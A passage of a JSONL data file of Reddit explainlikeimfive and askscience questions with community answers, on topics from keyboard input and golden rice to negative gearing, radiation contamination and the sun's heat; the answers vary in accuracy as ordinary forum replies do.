60-100 yards. Because any further away than that and majority of the fire is wasted. It would not be wasted because it wouldn't kill some of the enemy rather, it is not normally enough to harm their morale. This is also why maintaining order and proper volley fire was so important. To cause enough casualties simultaneously that the enemy's morale would falter. \n"]}, "title_urls": [], "selftext_urls": ["https://allthingsliberty.com/2013/08/how-far-is-musket-shot-farther-than-you-think/"], "answers_urls": [[]]}
{"q_id": "4ugcr5", "title": "i hit the 'a' key on my keyboard, and a letter 'a' appears on my screen. what are the steps that link these two?", "selftext": "Let's assume I'm using a word processor like Microsoft Word. What then are the steps from 'pressing a key' to 'text appearing on screen', both in terms of the hardware and the software.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ugcr5/eli5_i_hit_the_a_key_on_my_keyboard_and_a_letter/", "answers": {"a_id": ["d5phkzu"], "score": [91], "text": ["**ELI5**\nThe controller circuit in your keyboard detects the press of the key. It sends this information to the USB controller. That controller sends this information to the USB host controller inside your computer. \n\nThe USB host controller sends that information to the processor. At this point it's a software thing.\n\nThe OS sees that a key has been pressed. It checks to see which applications are open and which one \"has focus\" (meaning the last program you clicked the mouse in).\n\nIn this case that program that has focus is MS-Word. The OS passes the info about the key press to MS-Word. \n\nMS-Word checks to see what the key was and decides what to do based on that. For this example let's assume a document was open and the cursor is visable. MS-Word sees where there cursor is and adds an \"a\" to the document at the cursor position. \n\n**ELI > 5**\n\nThere are lots of levels of detail here. As an example, the keyboard actually sends two messages. One when the 'a' key is pressed and one when it is released.  Also the OS checks first to see if the 'a' has any system wide meaning. Since it's 'a' it doesn't, but if it was instead something like \"volume up\" or  CTRL-ALT-DEL then it would \"trap\" the signal and perform the system function instead of sending it all the way to MS-WORD.\n\nSimilarly word does the same thing. Many of the menu items in word have special keyboard shortcuts so word checks to see if the key is one of the shortcuts. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3rlmdc", "title": "how is golden rice made?", "selftext": "Im doing a science fair on GMO's and im wondering how it is made.\n\n\n\nif this is a stupid question no hate", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rlmdc/eli5_how_is_golden_rice_made/", "answers": {"a_id": ["cwp605v", "cwp6ay2"], "score": [3, 2], "text": ["Scientists found a section of rice genes that is only expressed in the endosperm (that is, the plant only follows those directions when it's making the meaty part of the seed).  They inserted an two extra genes there - one from daffodils, that converts a chemical used as a building block for a lot of things into Phytoene, and a second gene from a bacteria that converts Phytoene into Lycopene.  Other genes the rice already had converts the Lycopene into Beta Carotene, giving the rice its yellow color.  Humans can then convert the Beta Carotene into Vitamin A.\n\nOther researchers have later added additional genes to increase the amount of Beta Carotene.", "Not a stupid question at all its actually really complicated. I'm getting a biology degree and still don't fully understand it. I'll take a shot at it though until someone more knowledgeable comes along. \n\nBasically how they make genetically modified crops is they take the DNA from another crop and *splice* it into the DNA of the crop they are trying to modify. This process is sort of like cutting and pasting a piece of the genetic code of one organism into another.This allows the crop they are trying to modify to have the trait of the crop they are getting it from. This works because the cells in an organism make proteins based on their genetic code, and so once that genetic code is altered through splicing, they can make proteins to express the desired trait. \n\nSplicing is a very complex and imperfect process and seems alot simpler in movies then it is in real life. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "g23of", "title": "If I were stranded on a desert Island with only 1000 liters of beer, no fresh water and no food, how long would I survive ?  Would it be better to drink the beer or not ?  Obviously if you only had water then you would only last about a week - 2 weeks top. \nBut for this case, only ocean and beer.", "selftext": "And let's just say the beer was 5% alcohol and some standard beer.\n\nAlso would it help to have cigarettes ? (this is obviously just a joke about the cigarettes)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g23of/if_i_were_stranded_on_a_desert_island_with_only/", "answers": {"a_id": ["c1kcorb", "c1kcqyv", "c1kcz0l"], "score": [6, 3, 2], "text": ["It's much more than 2 weeks, by the way.  The infamous human experiments by [Unit 731](_URL_0_) in Japan established a limit of something like 60-90 days on water only, as I recall (my source is *The Devil's Gluttony* by Morimura Seiichi, so take that with a grain of salt).\r\n\r\nNow, according to [this](_URL_1_), a bottle of beer is 200-300kcal.  I suspect that while you wouldn't starve to death, you would likely succumb to some avitaminosis-related disease long before you ran out of beer.\r\n\r\nEdit:  removed nonsensical wording.\r\n", "However beer has a diuretic effect; the majority of hangover symptoms are due to dehydration so despite the increased caloric intake I'm not sure it would be better than water", "One liter of beer contains:\n\nCarbohydrates 30-40g,\nProtein 3-5g,\nAlcohol 35-43g,\nWater 840-900g,\nVitamins: B1, B2, B6, H (Biotin), Niacin, Folic acid, Pantothenic acid\nAround 400-500 kcal.\nSource: [German Wikipedia](_URL_0_)\n\nI'll choose this over water. In the Middle Ages it was called \"liquid bread\", but brewing has changed a lot since then."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Unit_731", "http://www.positivehealthsteps.com/calories/beer-calories.shtml"], [], ["http://de.wikipedia.org/wiki/Bier#B-Vitamine_und_Mineralstoffe"]]}
{"q_id": "1jxgc0", "title": "remember remember the 5th of november.", "selftext": "What is it about. and why is it relevant today?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jxgc0/eli5_remember_remember_the_5th_of_november/", "answers": {"a_id": ["cbj8en5"], "score": [5], "text": ["`Remember, Remember, the Fifth of November`  \n`The gunpowder treason and plot`  \n`I can think of no reason`  \n`The gunpowder treason`  \n`Should ever be forgot`.\n\nSo, this person named Guy Fawkes planned, with his cohort, to use kegs of gunpowder to blow up Parliament, in London, England, as revenge for the way the majority-Protestant government and Protestant King of England treated Catholics in England.\n\nToday, it is used as a reminder, due to the usage of Guy Fawkes imagery in the graphic novel and movie \"V for Vendetta\", to resist totalitarian governments that\n\n* kidnap their citizens\n* surveil their citizens\n* oppress their citizens\n* run propaganda\n* use secret laws and run a secret government.\n\n\u2014 in the graphic novel and movie, the title character \"V\" fights to overthrow a totalitarian government in the British Isles that uses propaganda, scapegoats gay people, intellectuals, kidnaps citizens who question the government, runs a surveillance state, and which came to power through engineering widespread panic through an epidemic, which was secretly released on the public by the leaders of the political party that used the incident to come into political power."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "n40xb", "title": "what is acta what would be the benefits/consequences?", "selftext": "I'm not really into it and I'd like to know more stuff about it, please! :)\n\nThanks", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/n40xb/eli5_what_is_acta_what_would_be_the/", "answers": {"a_id": ["c369qnb", "c369qnb"], "score": [4, 4], "text": ["At its core, the ACTA would be an international treaty for the protection of \"intellectual property\" (a term which comes under fire, but which basically means your right to be the one who controls the fate of things you invent, write, or program).\n\nSo, at its core, the ACTA wants little more than for China and Switzerland to say \"fine, we'll crack down on infringement of American copyrights and patents, if you do the same for ours\", and everyone's happy.  Well, at least the people who hold those copyrights and patents are happy.\n\nNone of the specific provisions have really been released, since it's being negotiated.  But, at the end of the day, the two big ones people find objectionable:\n\n1.  Holding ISPs responsible for the content hosted and transferred on their lines.\n\n2.  Cracking down on generic drugs which violate patents.", "At its core, the ACTA would be an international treaty for the protection of \"intellectual property\" (a term which comes under fire, but which basically means your right to be the one who controls the fate of things you invent, write, or program).\n\nSo, at its core, the ACTA wants little more than for China and Switzerland to say \"fine, we'll crack down on infringement of American copyrights and patents, if you do the same for ours\", and everyone's happy.  Well, at least the people who hold those copyrights and patents are happy.\n\nNone of the specific provisions have really been released, since it's being negotiated.  But, at the end of the day, the two big ones people find objectionable:\n\n1.  Holding ISPs responsible for the content hosted and transferred on their lines.\n\n2.  Cracking down on generic drugs which violate patents."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "28di6t", "title": "how can storm chasers drive so close to tornadoes without getting \"sucked up\"?", "selftext": "I know that there are many other factors to being a successful (aka - living) storm chaser (such as situational awareness, debris, etc) but if you watch [this video](_URL_0_) a Honda Civic appears to get within 100 feet of the tornado. How can a car that small get so close and not get sucked up? How close to do you have to be to a tornado to get 'sucked up'?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28di6t/eli5_how_can_storm_chasers_drive_so_close_to/", "answers": {"a_id": ["ci9v39i", "ci9viwt", "ci9xv0o", "ci9yp68"], "score": [10, 7, 5, 2], "text": ["a tornado vortex's diameter is not that wide.   What you actually see is the slow(ish) debris cloud.   It might only be 100mph.  Yea that civic was nuts at the end.  ", "The winds of a tornado are extremely localized. You're not going to be subjected to tornado force winds unless the funnel passes pretty much right over you. \n\nThat being said, being near a tornado isn't exactly safe. You're definitely at risk of being struck by thrown debris if you're in the vicinity of one, not to mention lightning, hail, etc. from the surrounding storm that often accompanies tornadoes. ", "[Cause they usually drive cars like this](_URL_0_)", "[well\u2026 they don't always make it](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://youtu.be/Jse6ZwP1g1g"], "answers_urls": [[], [], ["http://www.cleanmpg.com/photos/data/501/dominator.jpg"], ["http://news.nationalgeographic.com/news/2013/06/130602-tim-samaras-dead-storm-chaser-tornadoes-reno-oklahoma-tornado/"]]}
{"q_id": "3l6yhi", "title": "what is grilled cheese?", "selftext": "I always see on the internet about 'grilled cheese', it is popular in America. In Britain, we have cheese on toast where you stick some cheese on some toast and cook it, but is grilled cheese just a cheese sandwich put under the grill? Or cheese on toast with another piece o toast ontop? I want to make it, pls help.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3l6yhi/eli5_what_is_grilled_cheese/", "answers": {"a_id": ["cv3o9jn", "cv3oacn", "cv3of6r", "cv3pqm0"], "score": [9, 3, 2, 11], "text": ["Grilled cheese is a cheese sandwich, lightly buttered, and cooked until browned in a skillet or on a griddle if you have one.", "In the US, it almost always means a [cheese sandwich](_URL_0_) that's placed in a skillet or griddle with butter, to toast the bread and melt the cheese.  \n\nSome variants include adding meat (frequently ham), or using battered bread.  It's frequently called a monte cristo sandwich if both are done.  ", "It's just a cheese sandwich grilled on both sides so the cheese is melty and bread is crunchy.  It's actually usually not grilled, but pan fried with butter.\n\nYou can get fancy and add tomatoes, onions, mustard, relish, whatever you want until eventually your making a Monte Cristo not a grilled cheese.\n\nIt's commonly served with tomato soup used a dip.\n", "Hey there little buddy. You hungry?  Want some grilled cheese? What is grilled cheese you ask?\n\nWell.  You know that awesome yellow cheese?  You remember, you like cheese.  I know you do!  Me too buddy!  You get one of those bad boys, carefully peel the plastic off.  \n\nNow be careful.  Remember what mommy said.  Don't eat plastic!  That's right buddy!\n\nNo stop that.  Put that down.  Okay, let's just put that in the trash.\n\nOkay.  Now you get two slices of bread.  \n\nWhat?  Yeah, I hate the brown bread too.\n\nI know but mommy says we have to eat it.  Its okay though, I always buy the yummy white kind you like.  \n\nHigh five buddy! \n\nOkay.  Okay.  OKAY STOP!  That's not nice.  You shouldn't punch people.  Just one high five. \n\nOkay.  Now we put it together like so... Good job.  Then we get the frying pan...\n\nHey little buddy watch this.  \n\n*bonk frying pan on head*  \n\nBang bang! \"I can't live like this anymore! Waa-  Waaa~\" HAHA!  I know right?  Okay, don't tell your mother I did that.\n\nOkay now you put some butter on the pan like so... And turn the heat on...\n\nHey pay attention. I'm trying to teach you something.  This is going to come in handy when you get older.\n\nSonofa... why isn't this lighting? Oh there it goes.  Whoosh~!  HAHA Classic.\n\nThen you.  NO!  I said NO!  Stop playing with the dials.  Because I SAID SO!  It's dangerous.  Cmon you trying to burn the house down?  Christ.\n\nAlright, you get it nice and hot and you put the sandwich in.  Go ahead.  Really, go ahead.  GO ahead and put the sandwich in it. Cmon don't be scared.  COME ON.  Just do it.  It's not going to kill you.\n\nOH CHRIST OH CHRIST.  You okay?  WHY DID YOU DO IT LIKE THAT I SAID PUT IT IN THE PAN NOT THROW IT IN!  OH CHRIST IS IT IN YOUR EYE?  IS IT IN YOUR EYE?  Okay you're fine.  Jesus christ!  You're going to be fine.  It didn't get into your eye.\n\nOh stop crying.  You're a big boy.  Only babies cry. are you a baby?  ARE YOU A BABY?  ANSWER ME.  That's right.  You're a big boy.  Yeah.  YEAH!  HIGH FIVE!  It doesn't hurt!  We're men.  We're like uhh Batman or uh  Ironman.  Yeah, Ironman wouldn't cry.  Okay.\n\nHaha, don't tell your mother about that either.\n\nOkay.  Now you flip it over.  Okay let me show you.  You get the spatula and flip.  HOLY SHIT that almost got me too!  HAHAHA!  Did you see daddy?  HAHAHA!  Okay, now we shake the pan and let it sit...\n\nGrab a plate.  Grab a plate. That one. It's right there.  Cmon!  GRAB A PLATE!  OKAY SET IT DOWN!  RIGHT THERE!  Good.\n\nAnnnnd flippo bango plate-to.  Grilled Cheese.  Don't touch it yet.  It's hot.  I TOLD YOU NOT TO TOUCH IT.  Christ, here let me wipe it off.  OH DON'T TOUCH THE FRIDGE WITH THAT!  Ah geez you got grease on it.  It's okay.  Whatever.\n\nOkay.  Grilled Cheese Sandwich.  What?  Eat it. Cmon its good.  Okay let me cut it for ya.  What? The crust?  I don't care if mom cuts the crust, its good bread.  Don't waste food.  Got it?  Okay.  See that?  YEAH!  see that? Look at the cheese!  Oh man you're gonna thank me one day buddy.  You're gonna thank me one day.  My daddy never did none of this for me.\n\nOkay. Good?  You want some milk?  Okay.\n\nGo grab your coat.  Your mom's here. No it's okay you can leave it.  I'll eat the rest.  Don't worry.\n\nI know.  I know.  Yeah.\n\nWe'll do that.  Next week.  Hey, we can make grilled cheese and watch some videos.  Yeah.  I know.\n\nCmon, give me a hug.  Come here.  Cmon.  Oh. There you go buddy! Yeah.  There you go.\n\nI don't know.  Someday soon.  I promise.  Some day soon.\n\nOkay.\n\nI'll see you next weekend buddy.  Yeah.  Next week.\n\nI love you too.\n\nI love you buddy.\n\n---\n\nThat's what a grilled cheese is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://cdn.funcheap.com/wp-content/uploads/2011/12/grilled-cheese.jpg"], [], []]}
{"q_id": "7y3jyi", "title": "Is there any organism that has more than one brain?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7y3jyi/is_there_any_organism_that_has_more_than_one_brain/", "answers": {"a_id": ["dudl8k0", "dudmeai", "dudothb", "dudpas7", "dudpd1g", "dudpogm", "dudpypi", "dudx0p5", "dudxilw", "due0fhe", "due57uj", "due9353", "due9asp", "duehqli"], "score": [128, 238, 2, 4609, 339, 1517, 11, 45, 28, 12, 10, 14, 25, 6], "text": ["I am not a biologist, but since you haven't gotten any other response, I might offer up for debate the [siphonophore](_URL_0_), which is composed of several individual organisms. Not sure exactly where the line for a \"brain\" is in non-vertebra organisms though...", "Well, worms, for example, have microbrains called ganglia, one in each of their segments. They don't compute much and the distance is short between ganglia, so they don't need much of a central processing unit. Humans, on the other hand, have many complex functions, requiring lots of processing across great distances. Coordinating our complex behaviours requires a large, centralised processing unit, aka our brain. But certain functions are still executed by the ganglia in our spinal cord. For example, walking requires timed extension and flexion of different muscle groups. The timing is created by groups of neurons in the spinal cord. They fire in a regular pattern, the correct order and timing of which is regulated and created by themselves. In this behaviour, although the impulse to talk is initiated in our head, the circuitry for walking is actually programmed in the ganglia that we have in the spinal cord. Not exactly \"multiple brains\", in respect to having multiple centralised processing units. Although if you had more than one, it wouldn't be central, anyway. We do have different segments of the brain, to a certain extent, specialised in certain functions, though. Like the cerebellum for some types of memory, and motor coordination, or the left temporal and left lateral frontal cortex for language. In this way, we sort of have multiple brains. They each have their own prerogative, but somehow coordinate between themselves. I could kinda consider them separate brains.\n\n", "I don't think that this is exactly what you mean, but it's interesting:\n\n_URL_0_", "Octopuses have one central brain and eight smaller ganglia, one in each arm.  These \"sub-brains\" allow the arms to do a lot of complicated behaviors on their own, like reaching and grasping, and may even have a form of short-term memory.  [Here is a pretty good article on the subject](_URL_0_), and the book it's based on (\"*Other Minds: The Octopus, the Sea and the Deep Origins of Consciousness*\") is also excellent.", "In a very crude way, most animals do, including humans. Our stomach and digestive tract has it's own nurons and actually communicates with the brain while acting out independently with some tasks.\n\nSome forms of IBS may be caused by issues in the nurons in the stomach area. I actually have to take low level antidepressants to treat stomach and intestinal issues. I call it my lizard brain.", "Humans who have their corpus callossum (the part of the brain that connects the two hemispheres) severed, actually tend to behave as if there are two people making independent decisions of one another. \n\nThis procedure is only used for patients with severe epileptic seizures, because it reduces the risk of a small seizure spreading to both hemispheres and turning into a grand mal seizure, which can be incredibly detrimental.\n\nIt's maybe not quite on par with having two full brains, but it is rather interesting behavior nevertheless.\n\n_URL_0_\n", "Technically humans have two minds - which could count as two brains? We have an actual brain aka the one in our head and a stomach \"brain\" that communicates to the head brain to help regulate our bodies and maintain homeostasis ", "As some of the other people have mentioned ganglia being used as a secondary brain in some instances. Praying mantis also do this to allow them to continuing mating after being decapitated. \n\nHere\u2019s a video on it:\n\n _URL_0_\n\n\nAlso, there are many instances of two headed (and two brained) organisms. Think conjoined twins.\n\nThere are also people with split brains after having there corpus callosum removed. People sometimes have this done as a treatment for seizure disorders. Also if you\u2019ve seen the movie rain man, the character based off him was naturally born without a corpus callosum. \n\nEdit: while it\u2019s not a 2nd brain, you might be interested in knowing dolphins often sleep with only one side of their brain awake, and the other asleep.  ", "You do. The enteric nervous system is often referred to as the second brain and is the most complex arrangement of neurons outside the cranium. It controls your gut and when people talk about having a feeling in the pit of their stomach it's the ENS.", "There is/are a siamese twin in Minnesota someplace.... two heads, four lungs, two hearts, two spinal columns, two names, two drivers licences .... but one set of genitals, pelvis, functional baby-making equipment ....yes, female .... they DO NOT enjoy publicity, videos, photos, etc ....", "Cephalopods have extremely well developed nervous systems in their tentacles. They are capable of attacking a possible predator even after detached from the body. They are thought to even be maybe conscious on some level as they have so many neurones relative to total neuronal mass of theses animals. ", "I know that the Diplodocus dinosaur used to have two brains as due to their size the impulses would have taken too long if something had affected the tail in order for the to reach the brain and then for impulses to reach back down into the tail again.  They had a second brain around their back so this could control problems in cases such as this.", "Interestingly and possibly unrelated is how well organisms with no brain at all can solve problems.. \n\nSlime mold managed to recreate the subway network of Tokyo when faced with oats clusters in the pattern of their real population centers. What a single cell organizism can manage with distributed intelligence is amazing.. source: _URL_0_", "The ordinary barn yard chicken. If they did not bleed to death, they would continue to run around flapping their wings blindly, continuously, after their heads are cut off. They have a brain-like organ located near their spine. It seems to control their wings and legs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Siphonophorae"], [], ["https://www.newscientist.com/article/mg21628951-900-gut-instincts-the-secrets-of-your-second-brain/"], ["https://www.scientificamerican.com/article/the-mind-of-an-octopus/"], [], ["https://en.m.wikipedia.org/wiki/Split-brain"], [], ["https://m.youtube.com/watch?v=r1fRDmBqlpQ"], [], [], [], [], ["https://www.sciencedaily.com/releases/2010/01/100121141051.htm"], []]}
{"q_id": "4nxqpi", "title": "why does china have so many bootlegs of movies, games, restaurants, etc?", "selftext": "Does it have something to do with censorship laws or the expensive prices on the real products even though they're nothing like them?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4nxqpi/eli5why_does_china_have_so_many_bootlegs_of/", "answers": {"a_id": ["d47tm2g", "d47ui2h"], "score": [2, 10], "text": ["Same reasons why there so prevalent in America.\n\nSometimes piracy can be release content months or years before legit sources. Sometimes selling in another country lowers the quality or makes the product expensive.", "China is still catching up with on intellectual property (IP) laws and regulations to reflect international standards but IP enforcement remains one of the top concerns for international companies with operations in China. I believe counterfeiting and IP violations are becoming less of a concern though, for consumer products which do not have limited availability anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9xtsp2", "title": "what is negative gearing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xtsp2/eli5_what_is_negative_gearing/", "answers": {"a_id": ["e9v4vpy", "e9v50a4", "e9vgh04", "e9vqyec", "e9vxh8b"], "score": [7, 3, 5, 2, 2], "text": ["So basically when you take out a loan to buy a house you have to pay that back. Usually it's done incrementally, let's say 20 grand a year to make things simple. Now let's say you earn 100 grand a year, with negative gearing you will only be taxed as if you earned 80 grand since 20 grand goes toward paying off the house.\n\nIt essentially encourages people to take loans to buy houses and to put more money toward their mortgage. ", "To add to this here's what the implications are. It allows someone who makes 300k a year to buy a bunch of investment properties and get taxed as much as someone who makes far less than them. ", "On an investment property, it\u2019s recouping less in income than your expenses on that property, and using the difference between income and expenses to reduce the amount of income tax you pay.", "Negative gearing is just a deduction for interest expense on an investment.\n\nIn Australia it gets a special name when applied to houses.\n\nThe idea is if you pay $15000 in interest, but earn $20000 in rent, you only pay tax on the $5000.\n\nNegative gearing is where you pay $25000 in interest, but only make $20000 in rent.\n\nThe extra $5000 loss is applied against other income, such as what your boss pays you.\n\nLosing money on an investment like this is only useful if you expect the asset to rise in value over time.\n\nIt is applicable against all asset classes, not just homes, but gets special attention due to the number of\n\"Mom and Pop\" investors.", "Negative gearing is when you borrow money for an investment, but the investment doesn't make enough money to cover the loan, so you still have to pay out of your own pocket.\n\nBecause it's a loss on investment, you don't have to count the money you pay in your income. You can deduct it.\n\nYou might wonder why people would do it at all.  Well, if you bought a property and rent it out, the value of the property might go up.\n\nFor example, if you spend $1000 a month to hold the investment but it goes up $50,000 in value, you are in front.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "7pubpk", "title": "Does the danger of nuclear waste increase with the addition of more nuclear waste?", "selftext": "For example, if you have some waste (spent fuel rods or whatever) from a nuclear reactor and they have a danger zone of say 1 mile.  If you keep on piling up more rods, does the danger zone increase? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7pubpk/does_the_danger_of_nuclear_waste_increase_with/", "answers": {"a_id": ["dskvxpu"], "score": [3], "text": ["For alpha and beta radiation: not significantly. Alpha particles typically have a range of a few centimetres in air, and beta particles a few metres. This isn't a sharp cut-off, so adding more material will have a small effect, but not to an extent that would be at all significant at a distance of a mile.\n\nIn most circumstances gamma rays suffer negligible attenuation in air, in which case the inverse square law would apply: quadruple the intensity of the source and you will double the range at which they are dangerous. However, a mile is enough to place quite a substantial mass of air between you and the source (comparable to about a metre of water), in which case significant attenuation can be expected. This will result in a gradual transition from the inverse square law close to the source, to an exponential drop-off further away.\n\nThere may be other factors to consider, such as topographical obstructions, the curvature of the Earth (at longer distances), and attenuation within the source as you make the pile bigger.\n\nOf course, if you have a danger zone from direct radiation exposure remotely approaching a mile then you are doing something badly wrong, and the main danger in practice is from distribution of the radioactive materials by wind or water if they have not been properly contained. The more material you release, the greater the area it could cover and still remain dangerous - however whether it actually does this would depend greatly on the circumstances."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bey7vz", "title": "What are muons, and how do they relate to time dilation?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bey7vz/what_are_muons_and_how_do_they_relate_to_time/", "answers": {"a_id": ["el9h4sa"], "score": [30], "text": ["Muons are elementary particles, which are basically like the \"heavier older brother\" of electrons. They decay with a half-live of about 2 microseconds.\n\nThey're produced in the atmosphere by cosmic ray collisions with air molecules. The muons travel downwards, but they should all decay away before they reach sea level, according to Newtonian mechanics.\n\nHowever relativistic mechanics says that in the rest frame of the Earth, the muon's time is dilated (quite a lot, because the muons are almost moving at c). And the time dilation is long enough for muons to reach sea level. There are many of these muons passing through your body right now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bubmnn", "title": "how can be something contaminated by radiation?", "selftext": "From my understanding, radiation is just gamma rays which are electromagnetic waves with really high frequency (and energy). While I do understand how they can be harmful when exposed to them (killing off cells etc.), I can't wrap my head around how does something gets contaminated by radiation and continues to be radioactive sometimes for hundreds of years even when the source of the gamma rays is long gone.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bubmnn/eli5_how_can_be_something_contaminated_by/", "answers": {"a_id": ["ep9rsbr", "ep9sdio", "ep9su1e", "ep9sz9x", "ep9vy4m"], "score": [2, 8, 3, 3, 2], "text": ["The gamma rays can be strong enough to knock neutrons out of other atoms which makes them unstable.  Those unstable atoms might not decay immediately, but slowly over hundreds or thousands of years.   It how something like the Chernobyl disaster produced so much radioactive dust, which then settled on the ground everywhere.  It was all produced in the intense environment of the reactor / fire.  But the radioactive dust (with damaged unstable atoms) might remain radioactive over a much longer period.", "Well to start with your classic forms of radiation are alpha radiation (basically, helium nuclei), beta radiation (basically, ~~neutrons~~ edit: electrons/positrons) and gamma rays.  \n\nBut more importantly, \"contaminated by radiation\" generally means \"contaminated with radioactive particles\" rather than \"zapped with gamma rays\".  Eg, it's got plutonium dust all over it, or something similar.  If you have been contaminated with a substance like this, it will decay over time and irradiate you.\n\nThe other form of \"contaminated by radiation) means that you've gotten a dose of it radiation that transformed materials from nonradioactive elements and isotopes into radioactive ones.", "It usually means that it is contaminated by radioactive isotops. Because of the presence of those materials in their systems they become radioctive themselves (although usually not much so as to pose a threat to others than their own bodies), but if consumed by predators they pass the radioactive materials to those, increasing the concentration in the predator's body. The longer the contaminated food source is used, and the higher up the consumer is in the food chain, the higher the concentration of radioactive materials becomes in the body, leading to radiation poisoning. Note that this culmination of concentration is possible only because living organisms cannot clear out their systems of heavy metals, which radioactive materials are all are.\n\nFor example, after the accident in Fukushima radioactive dust has spilled in the water. There it has been absorbed by plants and eaten by fish. These plants and animals are then considered contaminated by radiation, and thus not fit for consumption, especially by humans.", "In general, this means that it's been coated and contaminated with radioactive dust, liquid, or gas. Unless cleaned (which may not be possible), the object will then be radioactive because of the radioactive materials stuck to it. \n\nNuclear explosions, meltdowns, spills of radioactive waste or material, leaks at nuclear reactors, etc all cause varying levels of this kind of contamination. \n\nAn additional issue occurs if a human or animal ingests radioactive materials. Then the radiation is coming from inside your body, and the much more damaging alpha and beta rays (which have little effect from outside) can cause radiation damage.\n\nIn general, being exposed to radiation such as gamma rays by itself doesn't make objects radioactive. However, neutron radiation (mostly produced only by nuclear reactors or bombs) and under certain circumstances powerful gamma radiation can do this.", "There are two ways.\n\n & #x200B;\n\nOne is that neutrons or other fission fragments passing through an object will hit atoms within the object, turning them into some new isotope in a process called Neutron Activation. These new isotopes may be unstable and themselves decay into radioactivity. Throw a couple extra neutrons onto a hydrogen atom and you'll get Tritium, for example. How susceptible something is to this depends on its chemical composition. Some elements turn into radioactive isotopes more easily than others. \n\n & #x200B;\n\nThe simpler way is simply that some sort of radioactive substance got on or into your object. That's why decontamination of workers and equipment after working in a radioactive area begins with a shower, washing off any dust or other particulate matter that may be clinging to the outside of their clothing. There's all sorts of ways radioactive matter can bind or infiltrate something, especially something as complex as a living being. For example, in the event of a nuclear attack, it's advised not to apply conditioner as radioactive material bonds more easily with it, contaminating your hair.\n\n & #x200B;\n\nIt's also not as simple as just getting close. If some radioactive dust or ash falls on some grass, which is then eaten by a cow, some of that matter may stay in the cow, and would then be present in the meat and milk, which could be consumed by humans. Radioactivity from inside your body is far more dangerous than from outside, as several forms of radioactivity aren't powerful enough to breach the layer of dead skin covering your body. Even in animals humans don't eat, that radioactive matter passes through the food chain, finding its way into all the animals and plants in an ecosystem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "c29z4h", "title": "how come ashes turn white if i get them on black pants, but if i get them on my white pants they show as black?", "selftext": "Example, yesterday I wore black pants and was smoking a blunt, and when I got ashes on my pants ,I rubbed them in, and there was a long white streak on my pants. My friend had a white shirt on and he got ashes on his shirt and when he did the same thing it showed as black. Why is that?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c29z4h/eli5_how_come_ashes_turn_white_if_i_get_them_on/", "answers": {"a_id": ["erip328", "eriphot", "eripl48", "erizlb8", "erj90qa", "erk6uo2"], "score": [3, 78, 31, 32, 3, 2], "text": ["Pretty sure it's that it's different types of ashes. I mean if you look at something burning, its not just all black. It's always got white, grey, and black so it might just be that you only see the contrasted type of ash on the right type of surface.", "They\u2019re grey ashes contrast equally with black and white. It\u2019s just that the ashes are darker than white but lighter than black I think", "Well this is simple, the ashes are black and white and you only see the opposite color when you rub it in. In the future blow them off your clothes or shake it away no smears that way.", "Because they're grey.\n\nMore accurately, because they're a mishmash of dark and light particles so some of them show up no matter how light or dark the surface behind them is.", "Ashes arent black or white. They're both. You cant see the black ash particles on your black pants and cant see white ash particles on your white shirt.", "Don't rub ashes.. if they aren't already smushed.. put a dab of spit on your finger and gently lift the ash off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "n49gb", "title": "The sun and heat.", "selftext": "Well, I was in class learning about thermodynamics, and I heard that heat always goes from high thermal energy to low thermal energy. Now, I don't know about space and thermal energy, but wouldn't all the thermal energy in the sun be displaced throughout the solar system trying to heat up space? What regulates the flow of thermal energy? thanks :)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/n49gb/the_sun_and_heat/", "answers": {"a_id": ["c364qom", "c364qom"], "score": [3, 3], "text": ["The sun has a thermonuclear reaction going on in its core.  The same sort of reaction that occurs in nuclear bombs.  Therefore it is constantly creating more heat for all the heat that it is spreading throughout the solar system.\n\nAs for how the heat is spread, space is basically a vaccuum which means there aren't molecules in it which can vibrate.  Therefore heat is spread by radiation which includes the light we can see as well as other frequencies (UV = ultra violet radiation might sound familiar from sunscreen).\n\nSince the nuclear reaction can't go on forever (eventually the fuel will run out) the Sun as it functions now has a limited lifetime of about 5 billion more years.", "The sun has a thermonuclear reaction going on in its core.  The same sort of reaction that occurs in 